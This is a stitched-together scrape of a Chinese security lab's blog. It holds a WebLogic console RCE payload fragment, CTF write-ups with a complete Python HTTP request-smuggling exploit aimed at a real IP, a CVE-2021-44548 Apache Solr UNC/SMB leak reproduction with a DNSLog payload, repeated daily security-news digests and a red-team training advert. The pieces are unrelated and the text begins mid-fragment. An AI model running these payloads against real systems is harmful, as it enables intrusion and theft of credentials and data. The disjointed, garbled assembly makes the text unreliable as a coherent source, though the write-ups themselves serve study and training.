/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdap 　sSocket.send(payload) 　sSocket.settimeout(2) 　response = sSocket.recv(2147483647) 　while len(response) > 0:     print(response.decode())     try:         response = sSocket.recv(2147483647)     except:         break 　sSocket.close()  　RCTF2019[esay calc] 　常规绕waf 　首先查看源码根据提示来到calc.php  　代码对特殊字符进行了一些过滤，注意到最后代码执行，我们传入： 　calc.php?num=;)phpinfo();// 　执行后发现：  　明显是有waf不合法请求，有一种做法是参数前面加空格使服务器无法解析绕waf，再用ascii转码读文件： 　? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))  　走私绕waf 　注意到只要能让前端服务器报错我们就能突破前端waf限制；所以事实上我们还可以利用走私攻击绕waf，而且前面四种方式都是有效的，这里举两个例子，剩下几种大家可以自行尝试： 　注意下面的请求中num前没有空格了。 　CL CL  　CL TE   　ISCC2022[让我康康!] 　分析与利用  　如果直接访问flag会爆403：  　我们通过相应包的头部发现了gunicorn20.0，经查阅版本存在请求走私，具体可参考： 　https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/ 　通过给出的POC我们编写脚本成功实现请求走私，看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag：  　那么我的思路就是多次发送请求，并且设置前一个请求的CL为超过实际请求体的较大数值；由于后端服务器设置Keep-Alive，所以它会误认为请求没有发送完毕，会继续等待；而这时候我们再给前端服务器发送一个请求，前端服务器就会把带有来源IP头部的http包发送给后端服务器，后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端，从而造成了敏感信息泄露。 　其实思路与上面讲到的应用实例2一样，只不过gunicorn20.0的走私漏洞是由于默认Sec-Websocket-Key的配置导致后端服务器会以xxxxxxxx为标识位，这就导致xxxxxxxx后面的部分会滞留在缓存区，可以认为是一种变种的CL TE走私。 　我们可以通过burp直接构造请求，但是由于Content-Length需要我们自定义，比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求，所以构造的时候要额外小心。    　当然我们直接写脚本拿socket发更直观。 　最终exp 　import socket 　secret_payload=b'''POST / HTTP/1.1\r 　Host: 59.110.159.206:7020\r 　Content-Length: 149\r 　User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 　Content-Type: application/x-www-form-urlencoded\r 　Sec-Websocket-Key1:x\r 　\r 　xxxxxxxxPOST / HTTP/1.1\r 　Host:127.0.0.1\r 　secr3t_ip: 127.0.0.1\r 　Content-Length: 150\r 　Content-Type: application/x-www-form-urlencoded\r 　\r 　search=abc\r 　\r 　POST / HTTP/1.1\r 　Content-Length: 14\r 　Content-Type: application/x-www-form-urlencoded\r 　\r 　search=111\r 　\r 　''' 　final_payload=b'''POST / HTTP/1.1\r 　Host: 59.110.159.206:7020\r 　Content-Length: 152\r 　User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r 　Content-Type: application/x-www-form-urlencoded\r 　Sec-Websocket-Key1:x\r 　\r 　xxxxxxxxGET /fl4g HTTP/1.1\r 　Host:127.0.0.1\r 　secr3t_ip: 127.0.0.1\r 　Content-Length: 150\r 　Content-Type: application/x-www-form-urlencoded\r 　\r 　search=abc\r 　\r 　POST / HTTP/1.1\r 　Content-Length: 14\r 　Content-Type: application/x-www-form-urlencoded\r 　\r 　search=111\r 　\r 　''' 　test1 = b'''POST / HTTP/1.1\r 　Host: 127.0.0.1\r 　Content-Length: 67\r 　Sec-Websocket-Key1:x\r 　\r 　xxxxxxxxGET /fl4g HTTP/1.1\r 　Host:127.0.0.1\r 　Content-Length: 123\r 　\r 　GET / HTTP/1.1\r 　Host: 127.0.0.1\r 　\r 　''' 　test2=b'''POST / HTTP/1.1 　Host: 59.110.159.206:7020 　Content-Length: 10 　Content-Type: application/x-www-form-urlencoded 　search=123''' 　sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 　sSocket.connect(("59.110.159.206", 7020)) 　def send(payload):     print(payload)     sSocket.send(payload)     sSocket.settimeout(2)     response = sSocket.recv(2147483647)     while len(response) > 0:         print(response.decode())         try:             response = sSocket.recv(2147483647)         except:             break     sSocket.close() 　if __name__ == '__main__':     send(final_payload)  　0x06 Reference 　https://regilero.github.io/tag/Smuggling/ 　https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn 　https://paper.seebug.org/1048 　https://xz.aliyun.com/t/7501

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、PayPal 中的一个漏洞可以让攻击者从用户的账户中窃取资金 https://securityaffairs.co/wordpress/131569/hacking/paypal-clickjacking-attack.html 2、Cytrox 的 Predator 间谍软件在 3 个活动中使用了零日漏洞 https://securityaffairs.co/wordpress/131561/hacking/predator-spyware-zero-day-exploits.html 3、面部识别公司 Clearview AI 被英国监管机构罚款 940 万美元 https://www.securityweek.com/facial-recognition-firm-clearview-ai-fined-94-million-uk-regulator 4、50 万芝加哥学生和教职员工数据泄露 https://www.securityweek.com/breach-exposed-data-half-million-chicago-students-staff 5、研究人员发现跨链协议Wormhole 漏洞，获得1000W美元奖金 https://portswigger.net/daily-swig/blockchain-bridge-wormhole-pays-record-10m-bug-bounty-reward 6、恶意PDF附件分发Snake Keylogger恶意软件 https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/ 7、攻击者利用虚假PoC针对infoSec社区 https://blog.cyble.com/2022/05/20/malware-campaign-targets-infosec-community-threat-actor-uses-fake-proof-of-concept-to-deliver-cobalt-strike-beacon/ 8、格陵兰披露遭到网络攻击导致其卫生服务严重受限 https://therecord.media/greenland-cyberattack-healthcare-systems/ 9、微软发布带外更新修复微软商店应用程序问题 https://www.bleepingcomputer.com/news/microsoft/emergency-windows-10-updates-fix-microsoft-store-app-issues/ 10、2022年第一季度《App违规收集个人信息风险分析报告》发布 https://www.qianxin.com/threat/reportdetail?report_id=155

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、美国CFAA迎来重大修订，白帽黑客或将无责 https://www.freebuf.com/news/333764.html 2、Nikkei 披露了可能影响客户数据的勒索软件攻击 https://www.securityweek.com/nikkei-says-customer-data-likely-impacted-ransomware-attack 3、Lazarus APT 使用 Log4JShell 攻击 VMware 服务器 https://securityaffairs.co/wordpress/131483/apt/lazarus-apt-log4j-vmware-servers.html 4、思科修复了一个被积极利用的 IOS XR 漏洞 https://securityaffairs.co/wordpress/131516/security/cisco-ios-xr-flaw.html 5、Linux XorDdos bot 的活动在过去六个月中增加了 254% https://securityaffairs.co/wordpress/131478/hacking/linux-bornet-xorddos-254-surge.html 6、Conti 勒索软件团伙关闭了其运营 https://securityaffairs.co/wordpress/131464/cyber-crime/conti-ransomware-shut-down.html 7、印度Razorpay公司遭黑客入侵损失约7383万卢比 https://www.thehindu.com/news/national/hacker-steals-73-crore-from-payment-gateway-company-razorpay-in-bengaluru/article65426835.ece 8、Netgear修复锁定管理控制台的错误Orbi固件更新 https://www.bleepingcomputer.com/news/technology/netgear-fixes-bad-orbi-firmware-update-that-locked-admin-console/ 9、WordPress的School Management Pro插件中被发现存在后门 https://thehackernews.com/2022/05/researchers-find-backdoor-in-school.html 10、Swagger-UI库中漏洞可导致DOM XSS攻击 https://portswigger.net/daily-swig/widespread-swagger-ui-library-vulnerability-leads-to-dom-xss-attacks

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、研究人员发现针对 GitLab CI 管道的供应链攻击 https://www.securityweek.com/researchers-spot-supply-chain-attack-targeting-gitlab-ci-pipelines 2、Pwn2Own 2022：微软Teams 的漏洞利用获得了45万美元 https://www.securityweek.com/microsoft-teams-exploits-earn-hackers-450000-pwn2own-2022 3、Google 的Java OAuth 客户端库漏洞允许部署恶意负载 https://securityaffairs.co/wordpress/131459/security/google-oauth-client-library-flaw.html 4、一种新型的蓝牙中继攻击可以让攻击者远程解锁智能锁和汽车 https://thehackernews.com/2022/05/new-bluetooth-hack-could-let-attackers.html 5、Jupiter 和 JupiterX Core 插件提权漏洞影响9万多个WordPress站点 https://threatpost.com/vulnerability-wordpress-themes-site-takeover/179672/ 6、连锁药房Dis-Chem遭数据泄露，影响 360 万客户 https://www.infosecurity-magazine.com/news/pharmacy-giant-data-breach/ 7、CISA 分享安全指南以阻止正在进行的 F5 BIG-IP 攻击 https://www.bleepingcomputer.com/news/security/cisa-shares-guidance-to-block-ongoing-f5-big-ip-attacks/ 8、Kingminer 僵尸网络攻击 Microsoft SQL Server https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html 9、近 200 万德州人的个人信息被暴露了近三年 https://www.infosecurity-magazine.com/news/personal-information-two-million/ 10、勒索软件袭击美国医疗保健公司 Omnicell https://www.infosecurity-magazine.com/news/ransomware-healthcare-omnicell/

为深入贯彻落实我国“十四五”规划和2035年远景目标纲要对网络安全工作的重要部署，把握当前国际国内、教育系统网络安全工作面临的新形势，加强网络安全宣传教育和人才培养，赋能学校打造经验丰富的网安教学师资队伍，全面提升网络安全技能实战教学水平。特针对护网红队技术、漏洞攻击实战等热点需求，举办此次“2022年网络安全高级研修班”。 　一、会议组织 　指导单位：中国网络空间安全人才教育论坛 　主办单位：湖南蚁景科技有限公司 　二、会议内容 　本次会议主要针对护网红队攻击技能实战实训，内容涵盖红队攻击基础、WEB打点、漏洞攻击实战、红队攻击框架详解、内网渗透实战等。 　红队攻击基础：红队攻击基本流程、环境搭建以及信息收集。 　红队攻击之WEB打点：常见WEB漏洞利用、WEB漏洞扫描器实战。 　红队攻击之漏洞攻击：常见中间件漏洞攻击利用、常见开发框架漏洞攻击利用。 　红队攻击框架详解：Metasploit、Cobaltstrike。 　红队攻击之内网渗透：内网信息收集、密码凭证获取、内网横向移动。 　三、参会对象 　全国高校、职业院校计算机相关专业（信息安全、计算机科学与技术、网络安全、信息科学与工程、软件工程、网络工程等）学科带头人、专业骨干教师、实验室人员参加。 　四、参会收获　 　1、系统了解护网红队攻击技能核心知识，与讲师互动交流。 　2、掌握红队攻击基础、WEB打点、漏洞攻击利用、红队攻击框架、红队攻击工具使用、内网渗透等实战技能。 　3、现场跟随讲师的经典案例示范，进行红队攻击实操演练。 　4、获得由中国网络空间安全人才教育论坛颁发的证书。 　五、会议安排 　1、会议方式：线上+线下同步开展 　2、报到时间：2022年7月17日全天 　3、会议时间：2022年7月18日-7月22日 　4、报到地点：湖南长沙 　5、会议地点：湖南长沙 　6、会议规模：50人 　六、会议报名 　1、报名时间：即日起至2022年7月17日 　2、报名邮箱：EDU@antvsion.com 　3、电话咨询：宋老师 13657413038  　4、培训费： 　3680元/人（含培训资料，提供录播视频，线下参会人员路费和食宿费用自理，需自带电脑） 　5、付款方式： 　◆ 线上汇款：（请务必在备注栏里注明“学校名+参会者姓名”） 　公司名称：湖南蚁景科技有限公司 　开户行名称：北京银行长沙麓谷支行 　开户行账号：2000 0044 8649 0003 6286 388 　◆ 现场缴费：现金、扫码或刷卡（银行卡、公务卡均可）  　具体课程内容 扫描下方二维码即可报名：

前言 　由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。 　如果文章中的漏洞出现敏感内容产生了部分影响，请及时联系作者，望谅解。 　一、漏洞原理 　漏洞简述 　Apache Solr是一个开源的搜索服务，使用Java语言开发，主要基于HTTP和Apache Lucene实现的。 　2021年12月18日，Apache发布安全公告，Apache Solr中存在一个信息泄露漏洞（CVE-2021-44548），该漏洞影响了8.11.1之前的所有Apache Solr版本（仅影响Windows平台）。Apache Solr的DataImportHandler中存在一个不正确的输入验证漏洞，可利用Windows UNC路径从Solr主机调用网络上的另一台主机的SMB服务，或导致SMB攻击，从而造成： 敏感数据泄露，如系统用户哈希（NTLM/LM哈希）； 在系统配置错误的情况下，SMB中继攻击可能导致用户在SMB共享中被冒充，或导致远程代码执行。 　漏洞分析 　根据抓包内容中请求URL参数，以及solrconfig.xml中可以看到 　漏洞点出于DataImportHandler#handleRequestBody 　如果传入的command=show-config并且传入config不为空则有一个openResource操作，且参数可控 　看到solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource this.getInstancePath()得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1 　再执行resolve("conf")变成，D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf 　再执行resolve(resource)时，这里的WindowsPathType变成了UNC 　resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径，是则直接返回参数 　resource以\\开头就能使inConfigDir完全可控，在Files.exists中就会去请求windows的unc路径 　二、漏洞复现实战 　影响版本 　Apache Solr < 8.11.1 （仅Windows） 　环境搭建 　Solr漏洞环境下载地址： 　https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip 　1）打开命令行，进入bin目录下，运行solr.cmd start 　2）再另一个命令行面板中执行solr.cmd create_core -c new_core 　3）然后在solr-8.11.0\dist目录中添加三个jar包： 　4）在solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由 　5）在C:\Users\Administrator\Downloads\solr-8.11.0\server\solr\core1\conf目录下新建data-config.xml文件，内容如下： <dataConfig>  <dataSource type="JdbcDataSource"              driver="com.mysql.jdbc.Driver"              convertType="true"              url="jdbc:mysql://IP:Port/test"              user="XXXX"              password="XXXX"/>  <document>    <entity name="entity" query="SELECT id, title, content, tags FROM test_table" >    </entity>  </document> </dataConfig> 　6）重新启动solr 　漏洞复现 　进入Solr后台，选择core为我们新配置的core。 　选择Dataimport，查看Configuration，可以看到我们新配置的data-config的详细信息 　我们点击reload并抓包 　查看包内容，可以看到请求如下： 　URL参数添加参数，构造payload 　payload：http://localhost:8983/solr/core1/dataimport?command=show-config&config=&\\xxx\xxx 　我们添加&expandMacros=false&config=\hdlr07.dnslog.cn\aaa，发送请求： 　在DNSLog上可以看到收到请求 　漏洞修复 　目前此漏洞已经修复，建议受影响用户升级到Apache Solr 8.11.1。 　下载链接： 　https://solr.apache.org/downloads.html 　缓解措施： 　确保只有受信任的客户端才能向Solr的DataImporthandler发出请求 　结束语 　本文主要介绍了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及复现过程，漏洞主要利用DataImportHandler存在输入验证缺陷，最终利用SMB服务导致敏感信息泄露。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、超过 380,000 台 Kubernetes API 暴露在互联网上 https://www.securityweek.com/over-380000-kubernetes-api-servers-exposed-internet-shadowserver 2、NVIDIA 修复了GPU驱动程序中的代码执行漏洞 https://www.securityweek.com/nvidia-patches-code-execution-vulnerabilities-graphics-driver 3、大规模攻击活动利用Tatsu Builder WordPress 插件漏洞 https://www.securityweek.com/large-scale-attack-targeting-tatsu-builder-wordpress-plugin 4、VMware 解决了多个产品中身份验证绕过漏洞 https://securityaffairs.co/wordpress/131429/security/vmware-critical-auth-bypass-issue.html 5、研究人员披露了"Wizard Spider"网络犯罪组织的运作流程 https://thehackernews.com/2022/05/researchers-expose-inner-working-of.html 6、微软警告针对加密钱包的“Cryware”信息窃取恶意软件 https://thehackernews.com/2022/05/microsoft-warns-of-cryware-info.html 7、新的 SYK Crypter 通过 Discord 传播 https://cyware.com/news/new-syk-crypter-propagates-via-discord-d5115d1e 8、2250 万马来西亚人的数据在暗网以 10,000 美元价格出售 https://www.straitstimes.com/asia/se-asia/data-of-225-million-malaysians-born-1940-2004-allegedly-being-sold-for-us10k 9、研究人员发现UpdateAgent macOS恶意软件新变种 https://www.jamf.com/blog/updateagent-adapts-again/ 10、Conti团伙声称将删除哥斯达黎加政府的解密密钥 https://thehackernews.com/2022/05/russian-conti-ransomware-gang-threatens.html